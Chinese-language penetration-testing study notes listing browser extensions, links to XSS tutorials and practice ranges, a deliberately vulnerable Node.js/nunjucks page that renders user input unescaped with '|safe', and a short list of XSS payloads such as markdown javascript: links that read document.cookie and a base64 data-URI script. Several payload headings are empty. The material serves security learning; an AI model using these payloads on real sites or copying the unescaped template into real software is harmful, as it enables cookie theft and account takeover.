1、渗透测试 实用 浏览器插件

chrome、edge 插件：搜索 cookie，安装 cookie editor，可以打开插件 导出 cookie

• HackBar ：Hackbar是网络安全学习者常用的工具 （https://www.fujieace.com/hacker/tools/hackbar.html ）。

  解决Firefox插件-Hackbar许可问题：https://blog.csdn.net/qq_45755030/article/details/119515945
  hackbar-2.3.1-学习版：https://fengwenhua.top/index.php/archives/43/

• retire.js ：扫描 Web 使用易受攻击的应用程序JavaScript库。retire.js目标是帮助使用已知漏洞的版本。
• Wappalyzer：平台结构、网站环境、服务器配置环境可分析目标网站JavaScript框架、编程语言等参数chrome网站技术分析插件。
• Proxy SwitchyOmega：代理自动切换
• FoxyProxy：firefox 代理自动切换
• d3coder：点击右键快速解码相应字符，减少了翻转每个解码网站的时间。
• OneTab：在通常的渗透测试过程中，大量的网页经常被打开 ，该工具可以在标签列表中聚合网页
• cookie editor：导出和导入 cookie
• Penetration Testing Kit：PTK仪表盘允许您分析客户端/服务器端技术，并检查任何第三方库以获得现有的CVE，例如，已知的漏洞。同时，它允许您在浏览应用程序时快速访问所有相关框架和请求的信息。
• Quick Javascript Switcher：一键 开启 / 关闭 js
• Hack-Tools：是一款针对Web应用程序渗透测试Web扩展包括大量的测试工具，如XSS Payload和反向Shell等等。
• Shodan：显示网站在哪里(国家、城市) IP 其他服务/端口是开放的。

常见的web攻击与预防：https://cloud.tencent.com/developer/article/1592289

十种常见的web攻击：https://zhuanlan.zhihu.com/p/140932186

OWASP TOP 10（二）XSS漏洞(概述，PoC、绕过分类、结构、变形，XSS-Filter、xsser、xsstrike）：https://blog.csdn.net/weixin_45677119/article/details/111164997

：https://www.bilibili.com/video/BV1jL4y1j7i6?p=7

    

        输入内容

        
        
    
    提交

 
展示内容

    {
    
       {text  | safe}}
        

 

//index.js
const Base = require('./base.js');
 
module.exports = class extends Base {
    indexAction() {
        if(this.isGet) {
                        //如果是Get请求，直接显示前台页面
            return this.display();
        } else if(this.isPost) {
                        //如果是Post请求，赋值nunjucks模板中的text变量，再进行页面展示
            let post = this.post();
            this.assign("text", post.text);
            return this.display();
        }
    }
};

​DVWA 靶场安装和设置：https://www.bilibili.com/video/BV1jL4y1j7i6?p=9
pikachu 靶场安装和设置 ( https://www.bilibili.com/video/BV1jL4y1j7i6?p=10 )，把 ip 地址改成自己服务器的 ip  

​在线 靶场 ( 网上有很多在线靶场 )：https://xss.angelo.org.cn/level1.php?name=test
xss 靶场大通关：https://www.cnblogs.com/cute-puli/p/10834954.html

关键字：xss payload

XSS payload：https://www.jianshu.com/p/0cb3d4354c85

XSS payload 大全：https://www.cnblogs.com/xiaozi/p/7268506.html

cookie 攻击 payload 

钓鱼 攻击 payload

记录键盘 攻击 payload

长度限制

\...

jquery sourceMappingURL

图片名

">.gif

过期的 payload

• src=javascript:alert 基本不可以用
• css expression 特性只在旧版本 ie 可用

css

markdown

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
<javascript:alert('XSS')>
[notmalicious](javascript:window.οnerrοr=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

iframe